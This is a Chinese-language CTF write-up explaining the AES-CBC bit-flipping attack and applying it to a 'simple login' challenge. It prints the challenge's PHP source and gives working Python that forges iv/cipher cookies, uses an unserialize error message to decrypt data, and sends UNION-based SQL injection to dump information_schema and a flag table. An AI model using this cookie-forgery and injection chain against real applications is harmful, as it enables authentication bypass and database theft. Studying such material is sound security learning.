AES CBC模式下的CBC bit flipping Attack
目录
1 简介
2 字节翻转攻击测试
还以上一节的测试程序为例子。用字节翻转攻击修改解密后的明文。
测试请求数据:
def my_dec_req(data):
'''测试解密,注意这里使用test_dec函数,直接解密出明文'''
txt = b64_url_enc(bytes_to_str(base64.b64encode(data)))
return test_dec(txt)
test_txt = 'this is a long long test'
test1 = test_enc(test_txt)
test_data = base64.b64decode(b64_url_dec(test1))
# 解密出原始明文
print('decoded text:', my_dec_req(test_data))
decoded text: this is a long long test
修改my_dec_req直接解密出明文。
cbc字节翻转的具体实现:
def data_xor(xs, ys):
'''xor两个序列'''
return bytes([x ^ y for (x, y) in zip(xs, ys)])
def cbc_xor(data, fake_data, org_data):
'''使用cbc xor构造第一个伪造数据
data 加密后的密文,前16字节为iv
fake_data 要伪造的明文
org_data 原始明文,只要有前16个字节的明文即可'''
data_is = data_xor(data[0:BS], org_data[0:BS])
return build_fake_first(data, fake_data, data_is)
new_data=cbc_xor(test_data, "admin pass", bytes(test_txt, 'utf-8'))
from urllib.parse import quote
print("decoded text:", quote(my_dec_req(new_data)))
decoded text: admin%20pass%06%06%06%06%06%06ong%20test
可以看到前16字节明文被成功替换,不过因为伪造的字符串不够16个字节,添加了padding:
使用空格代替pkcs7 padding:
def pad_bs_space(s):
'''不足一个分组长的字符串 填充空格'''
return s + ' ' * (BS - len(s))
new_data=cbc_xor(test_data, pad_bs_space("admin pass"), bytes(test_txt, 'utf-8'))
print("decoded text:", my_dec_req(new_data))
decoded text: admin pass ong test
3 测试实验吧简单的登录题
这个简单登陆题主要就是利用cbc字节反转攻击进行注入。
3.1 测试程序
打开ctf页面,发现有一个登陆框,随便输入提交,burp抓包,可以看到响应中设置了Cookie: iv和cipher。还有tips: test.php,访问test.php,获得源码。
define("SECRET_KEY", '***********');
define("METHOD", "aes-128-cbc");
error_reporting(0);
include('conn.php');
function sqliCheck($str){
if(preg_match("/\\\|,|-|#|=|~|union|like|procedure/i",$str)){
return 1;
}
return 0;
}
function get_random_iv(){
$random_iv='';
for($i=0;$i<16;$i++){
$random_iv.=chr(rand(1,255));
}
return $random_iv;
}
function login($info){
$iv = get_random_iv();
$plain = serialize($info);
$cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
setcookie("iv", base64_encode($iv));
setcookie("cipher", base64_encode($cipher));
}
function show_homepage(){
global $link;
if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
$cipher = base64_decode($_COOKIE['cipher']);
$iv = base64_decode($_COOKIE["iv"]);
if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
$info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
$sql="select * from users limit ".$info['id'].",0";
$result=mysqli_query($link,$sql);
if(mysqli_num_rows($result)>0 or die(mysqli_error($link))){
$rows=mysqli_fetch_array($result);
echo '<h1><center>Hello!'.$rows['username'].'</center></h1>';
}
else{
echo '<h1><center>Hello!</center></h1>';
}
}else{
die("ERROR!");
}
}
}
if(isset($_POST['id'])){
$id = (string)$_POST['id'];
if(sqliCheck($id))
die("<h1 style='color:red'><center>sql inject detected!</center></h1>");
$info = array('id'=>$id);
login($info);
echo '<h1><center>Hello!</center></h1>';
}else{
if(isset($_COOKIE["iv"])&&isset($_COOKIE['cipher'])){
show_homepage();
}else{
echo '<body class="login-body" style="margin:0 auto">
<div id="wrapper" style="margin:0 auto;width:800px;">
<form name="login-form" class="login-form" action="" method="post">
<div class="header">
<h1>Login Form</h1>
<span>input id to login</span>
</div>
<div class="content">
<input name="id" type="text" class="input id" value="id" onfocus="this.value=\'\'" />
</div>
<div class="footer">
<p><input type="submit" name="submit" value="Login" class="button" /></p>
</div>
</form>
</div>
</body>';
}
}
可以看到show_homepage函数中检查cookie,并使用aes-128-cbc模式解密。
3.2 模拟请求
下面使用python模拟请求:
import re
import base64
from urllib.parse import quote,unquote
import requests as req
proxy = 'http://192.168.0.102:8080'
use_proxy = False
MY_PROXY = None
if use_proxy:
MY_PROXY = {
# 本地代理,用于测试,如果不需要代理可以注释掉
'http': proxy,
'https': proxy,
}
main_url = "http://ctf5.shiyanbar.com/web/jiandan/index.php"
headers = {
"Referer": "http://ctf5.shiyanbar.com/web/jiandan/index.php",
"User-Agent": "Mozilla/5.0 (Windows NT 8.1; Win64; x64) "
}
def decode_pass(s):
return base64.b64decode(unquote(s))
def encode_pass(s):
return quote(base64.b64encode(s))
def syb_enc(id):
'''获取一组加密数据,(iv, cipher)'''
resp = req.post(main_url, data={'id':id, 'submit':'Login'}, headers=headers, proxies=MY_PROXY)
return decode_pass(resp.cookies['iv']), decode_pass(resp.cookies['cipher'])
def syb_dec(data):
"解密请求"
cookies = {'iv': encode_pass(data[:16]),
'cipher': encode_pass(data[16:])}
return req.get(main_url, headers=headers, cookies=cookies, proxies=MY_PROXY)
iv, cipher = syb_enc('test')
print("iv len:", len(iv), "cipher len:", len(cipher))
iv len: 16 cipher len: 32
cipher长度为32个字节,表示明文至少16个有效字符。
3.3 解密出明文
由于不知道明文,需要从服务器解密,可以用padding oracle,不过查看源码可以发现,密文解密后有个反序列化过程,如果反序列化失败,会返回base64编码的明文。获取明文的实现代码:
def jiandan_extract_txt(text):
"从html结果中提取出明文数据"
txt = re.search('base64_decode\(\'(.*)\'\)', text)[1]
return decode_pass(txt)
def dec_data(data):
'''获取data对应的明文, data=iv+cipher'''
data = b'1'*16 + data
resp = syb_dec(data)
return jiandan_extract_txt(resp.text)[16:]
dec1 = dec_data(iv + cipher)
print("decrypt cipher:", dec1)
decrypt cipher: b'a:1:{s:2:"id";s:4:"test";}'
3.4 构造伪造数据
由此可以根据明文实现cbc字节翻转攻击,但是cbc字节翻转也只能修改第一个分组的明文,因为只能控制原始iv。但是这里由于每次反序列化失败的时候服务器都会返回明文,就可以利用这个明文继续构造新的iv,也就能达到整个数据的修改,代码如下:
def pad_bs(bs):
return bs + (BS - len(bs) % BS) * bytes([(BS - len(bs) % BS)])
def build_jiandan_fake_block(data, fake_block):
'''构造一个伪造分组'''
org_data = pad_bs(dec_data(data))
return cbc_xor(data, fake_block, org_data)
def jiandan_enc_text(txt):
'''实现加密明文'''
fake_groups = partition_group(txt)
# 第一次使用正确的iv解密明文,因为要处理padding
enced_data = build_jiandan_fake_block(cipher[-BS*2:],fake_groups[-1])
# 后面的分组使用随机iv获取中间状态值
fake_iv = b'1'*16
for group in reversed(fake_groups[:-1]):
new_enced = fake_iv + enced_data
enced_data = build_jiandan_fake_block(new_enced, group)
return enced_data
test_enc1 = jiandan_enc_text('this is a test fake data')
print('deced:', dec_data(test_enc1))
deced: b'this is a test fake data'
3.5 调用php进行序列化
能正确解密出明文。下面就需要使用php序列化进行sql语句注入,python调用php进行序列化,代码如下:
import subprocess
def php_run(code):
cc = subprocess.run(["php", "-r", code], capture_output=True)
if cc.returncode != 0:
print("php run:", code, "return code:", cc.returncode)
print("error:", cc.stderr)
return cc.stdout
def php_serialize(php_obj):
'''对php_obj(php字符串)进行序列化'''
code = 'echo serialize(%s);' % php_obj
return str(php_run(code), 'utf-8')
def php_unserialize(php_obj):
'''对php_obj(php字符串)进行序列化'''
code = 'var_dump(unserialize(\'%s\'));' % php_obj
r1 = str(php_run(code), 'utf-8')
print(r1)
return r1
php_unserialize(str(dec1, 'utf-8'))
s1 = php_serialize("['id' => 'this is a test go']")
print('serialize:', s1)
Command line code:1:
array(1) {
'id' =>
string(4) "test"
}
serialize: a:1:{s:2:"id";s:17:"this is a test go";}
3.6 执行sql注入
sql注入利用的代码如下:
def jiandan_send_id(id):
payload = php_serialize("['id' => \"%s\"]" % id)
enced_payload = jiandan_enc_text(payload)
return syb_dec(enced_payload).text
def send_sql_query(query):
'''发送sql查询语句'''
return jiandan_send_id('0 UNION %s #' % query)
print(send_sql_query('SELECT NULL'))
The used SELECT statements have a different number of columns
成功进行注入,下面一步步注入,获取到flag,第一步获取sql查询语句的列数:
# 获取sql查询的列数,保存到query_cols变量
for i in range(1,10):
cols = ', '.join(['NULL'] * i)
result = send_sql_query('SELECT ' + cols)
print(result)
if not re.search(r'different', result):
query_cols = i
break
print('query cols: %d' % query_cols)
The used SELECT statements have a different number of columns
The used SELECT statements have a different number of columns
<h1><center>Hello!</center></h1>
query cols: 3
3.7 通过注入查询获取flag
知道了这个查询有3列,下一步是获取数据库名和表名:
result_sep = '@RREE'
col_sep = '@,'
def build_query_result(sql):
'''构造返回的结果字符串的格式,方便提取结果'''
return "concat('%s',%s,'%s')" % (result_sep, sql, result_sep)
def build_query_columns(cols):
'''构造多列的查询结果格式'''
cols_seps = ",'%s'," % col_sep
return build_query_result(cols_seps.join(cols))
def parse_query_result(data):
'''解析查询结果'''
row = data.split(result_sep)
if len(row) < 3:
return None
return row[1].split(col_sep)
# 测试构造查询
print(build_query_columns(['a', 'b', 'c']))
def jiandan_query_one(col, db, row=0):
'''查询一行结果,返回1行数据
col为要查询的的列,
db为数据库,
row为要查询的行'''
return send_sql_query('SELECT NULL,%s,NULL from %s limit %d,1' % (col, db, row))
def jiandan_query(cols,db, max_row = 100):
'''查询数据库db的cols列,max_row为最大查询行数'''
result = []
col = build_query_columns(cols)
for i in range(max_row):
r1 = jiandan_query_one(col, db, i)
print('%d --> %s' % (i, r1))
r1 = parse_query_result(r1)
if r1:
result.append(r1)
else:
break
return result
def query_db_info():
'''查询数据库信息'''
return jiandan_query(["table_schema", "column_name", "table_name"],
"information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema'")
print(query_db_info())
print('flag:')
print(jiandan_query(['value'], 'you_want'))
concat('@RREE',a,'@,',b,'@,',c,'@RREE')
0 --> Got error 28 from storage engine
[]
flag:
0 --> <h1><center>Hello!@RREEflag{c42b2b758a5a36228156d9d671c37f19}@RREE</center></h1>
1 --> 
[['flag{c42b2b758a5a36228156d9d671c37f19}']]
这次查询会出现Got error 28 from storage engine, mysql的临时文件夹满了,应该是题目服务器的问题。 最终的flag在you_want表的value列中。
4 总结
搞清楚异或运算的计算步骤后,字节翻转还是很容易理解的。
作者: ntestoc
Created: 2019-07-23 周二 09:56